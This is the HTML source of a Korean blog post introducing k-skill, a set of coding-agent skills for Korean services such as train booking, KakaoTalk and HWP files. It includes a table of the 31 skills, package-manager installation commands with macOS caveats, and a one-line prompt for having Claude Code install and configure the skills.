&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dr1CmT/dJMcaiiDjmt/YlIsetc45g9S7F7UeGj8Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dr1CmT/dJMcaiiDjmt/YlIsetc45g9S7F7UeGj8Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dr1CmT/dJMcaiiDjmt/YlIsetc45g9S7F7UeGj8Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdr1CmT%2FdJMcaiiDjmt%2FYlIsetc45g9S7F7UeGj8Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;1080&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;k-skill의 GitHub 설명 한 줄은 솔직하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;한국인을 위한 스킬 모음집 - SRT, KTX, KBO, 카카오톡, 한글과 컴퓨터, 미세먼지, 우편번호, 블루리본 등등...&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 설명이 의미하는 바는, k-skill이 범용 자동화 도구가 아니라 한국의 서비스와 API를 타깃으로 설계된 특수 목적 스킬 세트라는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 4월 12일 기준으로 GitHub 스타 약 2,824개, 포크 약 276개를 기록 중이며, 라이선스는 MIT다. 한국 개발자 커뮤니티에서 빠르게 확산되고 있는 프로젝트다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지원 클라이언트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code, Codex, OpenCode, OpenClaw/ClawHub 등 각종 코딩 에이전트를 지원한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;31개 기능 전체 목록 &amp;mdash; 로그인 필요/불필요 분류&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nneTW/dJMcajhvp3o/bc5riNNpbC1lwTwbUSZwn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nneTW/dJMcajhvp3o/bc5riNNpbC1lwTwbUSZwn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nneTW/dJMcajhvp3o/bc5riNNpbC1lwTwbUSZwn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnneTW%2FdJMcajhvp3o%2Fbc5riNNpbC1lwTwbUSZwn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2032&quot; height=&quot;1128&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;README에는 총 31개 기능이 표로 정리되어 있으며, 각 기능은 &quot;사용자 로그인 필요/불필요&quot;로 분류된다. &quot;로그인 불필요&quot;는 k-skill-proxy 같은 운영자 관리 키를 사용하는 경우도 포함하므로, 사용자가 직접 API key를 발급할 필요가 없는 것을 기준으로 한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;스킬&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;로그인 필요 여부&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SRT 예매&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;KTX 예매&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한국 특허 정보 검색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;토스증권 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;하이패스 영수증 발급&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다이소 상품 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;올리브영 검색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;근처 술집 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로또 당첨 확인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한강 수위 정보 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미세먼지 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;주유소 가격 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;부동산 실거래가 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한국 주식 정보 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한국 날씨 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요 (KSKILL_PROXY_BASE_URL 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서울 지하철 도착정보&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요 (KSKILL_PROXY_BASE_URL 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;쿠팡 상품 검색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;택배 배송조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;번개장터 검색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;중고차 가격 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한국어 맞춤법 검사&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한국 법령 검색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;KBO 야구&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;K리그 결과 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;LCK 분석&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한글과컴퓨터 HWP 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;우편번호 검색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;생활쓰레기 배출정보 조회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;조선왕조실록 검색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;카카오톡 Mac CLI&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;블루리본 맛집 검색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불필요 (현재 지원 중단)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: 로그인이 필요한 스킬은 &quot;내 계정의 데이터에 접근&quot;하는 경우이고, 나머지는 k-skill-proxy나 공개 API를 통해 사용자 인증 없이 이용 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치하기 &amp;mdash; Claude Code / OpenClaw 공통 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사전 준비 &amp;mdash; Node.js 18+&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;k-skill은 Node.js 18 이상이 필요하다.&lt;/p&gt;
&lt;pre class=&quot;crmsh&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;node -v  # v18.0.0 이상인지 확인&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;npx, pnpm dlx, bunx 중 하나가 없으면 Node.js 계열 런타임을 먼저 설치해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude Code에서 설치&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 스킬을 한 번에 설치하는 명령어는 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 전체 스킬 한 번에 설치 (npx / pnpm dlx / bunx 중 선택)
npx --yes skills add NomaDamas/k-skill --all -g

# pnpm을 쓴다면
pnpm dlx skills add NomaDamas/k-skill --all -g

# bun을 쓴다면
bunx skills add NomaDamas/k-skill --all -g&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 난 블로그 작성을 위해 전체 설치 하였다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1868&quot; data-origin-height=&quot;1258&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rUWxb/dJMcacJwfLb/F2FsTijylZaArgRJmiLuIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rUWxb/dJMcacJwfLb/F2FsTijylZaArgRJmiLuIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rUWxb/dJMcacJwfLb/F2FsTijylZaArgRJmiLuIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrUWxb%2FdJMcacJwfLb%2FF2FsTijylZaArgRJmiLuIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1868&quot; height=&quot;1258&quot; data-origin-width=&quot;1868&quot; data-origin-height=&quot;1258&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 목록을 먼저 확인하고 싶다면 &lt;code&gt;--all&lt;/code&gt; 대신 &lt;code&gt;--list&lt;/code&gt; 플래그로 사용 가능한 스킬을 확인할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 설치 가능한 스킬 목록만 확인
npx --yes skills add NomaDamas/k-skill --list&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;KTX/SRT 예매에 필요한 Python 패키지와 Node 전역 패키지도 함께 설치한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e1; border-left: 4px solid #f59e0b; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⚠️ macOS 직접 설치 시 주의사항 (2026-04-12 실측)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Python PEP 668&lt;/b&gt;: macOS Homebrew Python(3.12+)은 &lt;code&gt;pip install&lt;/code&gt; 시스템 전역 설치를 차단한다. &lt;code&gt;uv venv&lt;/code&gt;로 전용 가상환경을 만들어 설치한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;npm 패키지 일부 미존재&lt;/b&gt;: 아래 명령에서 &lt;code&gt;coupang-product-search&lt;/code&gt;, &lt;code&gt;used-car-price-search&lt;/code&gt;, &lt;code&gt;cheap-gas-nearby&lt;/code&gt;, &lt;code&gt;lck-analytics&lt;/code&gt;, &lt;code&gt;toss-securities&lt;/code&gt;는 npm에 배포되지 않았다. 해당 스킬들은 MCP 서버 또는 로컬 스크립트 방식으로 동작하므로 별도 npm 설치가 불필요하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;daiso 패키지 Node 버전 경고&lt;/b&gt;: Node 22+ 환경에서 &lt;code&gt;EBADENGINE&lt;/code&gt; 경고가 출력되지만 동작에는 문제없다. 경고 없는 환경을 원하면 Node 20 LTS를 권장한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;kakaocli Xcode 필요&lt;/b&gt;: Homebrew로 빌드 시 Xcode.app 전체 설치가 필요하다(Command Line Tools 만으로는 부족). App Store에서 Xcode를 설치한 뒤 재시도한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Python 패키지 (KTX, SRT 예매용)
# macOS Homebrew Python은 PEP 668로 pip 전역 설치가 차단됨 &amp;rarr; uv venv 사용
uv venv ~/.k-skill-env
uv pip install --python ~/.k-skill-env/bin/python SRTrain korail2 pycryptodome

# KTX/SRT 스킬 사용 전 venv 활성화 (또는 ~/.zshrc에 추가)
source ~/.k-skill-env/bin/activate

# Node 전역 패키지 (실제 npm에 배포된 패키지만)
# 미배포 패키지 제외: coupang-product-search, used-car-price-search, cheap-gas-nearby, lck-analytics, toss-securities
npm install -g @ohah/hwpjs kbo-game kleague-results hipass-receipt k-lotto korean-law-mcp daiso bunjang-cli
export NODE_PATH=&quot;$(npm root -g)&quot;

# 카카오톡 Mac CLI &amp;mdash; Homebrew 빌드 시 Xcode.app 전체 설치 필요 (macOS 한정)
# App Store에서 Xcode 설치 후 실행
brew install silver-flight-group/tap/kakaocli&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenClaw(ClawHub)에서 설치&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenClaw/ClawHub는 k-skill을 지원하는 클라이언트 중 하나다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenClaw 설치 UI 절차는 직접 확인하지 못했다.&lt;/b&gt; README에 지원 클라이언트로 OpenClaw/ClawHub가 명시되어 있지만, 구체적인 UI 설치 화면은 공식 문서에 기술되어 있지 않다. 설치 방법은 &lt;a href=&quot;https://github.com/NomaDamas/k-skill&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenClaw/ClawHub 공식 README의 설치 가이드&lt;/a&gt;를 참조하기 바란다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;에이전트에게 설치를 맡기는 한 줄 프롬프트&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GNNoO/dJMcahqvQz2/MLVgsVv30SBumvgEqW4GrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GNNoO/dJMcahqvQz2/MLVgsVv30SBumvgEqW4GrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GNNoO/dJMcahqvQz2/MLVgsVv30SBumvgEqW4GrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGNNoO%2FdJMcahqvQz2%2FMLVgsVv30SBumvgEqW4GrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1078&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code에 다음 프롬프트를 그대로 붙여 넣으면 설치부터 credential 확인까지 에이전트가 알아서 처리한다. (&lt;a href=&quot;https://github.com/NomaDamas/k-skill&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/NomaDamas/k-skill&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;이 레포의 설치 문서를 읽고 k-skill 전체 스킬을 먼저 설치해줘. 설치가 끝나면 k-skill-setup 스킬을 사용해서 credential 확보와 환경변수 확인까지 이어서 진행해줘. 끝나면 설치된 스킬과 다음 단계만 짧게 정리해.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 한 줄이면 Claude Code가 설치 문서를 읽고, 필요한 패키지를 설치하고, setup까지 자동으로 이어간다. 설치가 처음이라면 이 방법이 가장 편하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 이미 설치 했지만, setup하진 않아서 상기 프롬프트 실행 해본 결과&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2134&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkwnVJ/dJMcaa5Zscm/glvvY87HcxIQobjwGCpTzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkwnVJ/dJMcaa5Zscm/glvvY87HcxIQobjwGCpTzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkwnVJ/dJMcaa5Zscm/glvvY87HcxIQobjwGCpTzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkwnVJ%2FdJMcaa5Zscm%2FglvvY87HcxIQobjwGCpTzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2134&quot; height=&quot;452&quot; data-origin-width=&quot;2134&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1266&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bI6rS1/dJMcadBym0H/3YaO2PwSM9qcUyUd7APWM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bI6rS1/dJMcadBym0H/3YaO2PwSM9qcUyUd7APWM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bI6rS1/dJMcadBym0H/3YaO2PwSM9qcUyUd7APWM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbI6rS1%2FdJMcadBym0H%2F3YaO2PwSM9qcUyUd7APWM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1978&quot; height=&quot;1266&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1266&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;ex) ❯&amp;nbsp;다이소&amp;nbsp;압구정&amp;nbsp;로데오&amp;nbsp;근처&amp;nbsp;매장에서&amp;nbsp;리들샷&amp;nbsp;재고&amp;nbsp;확인해줘&lt;/p&gt;
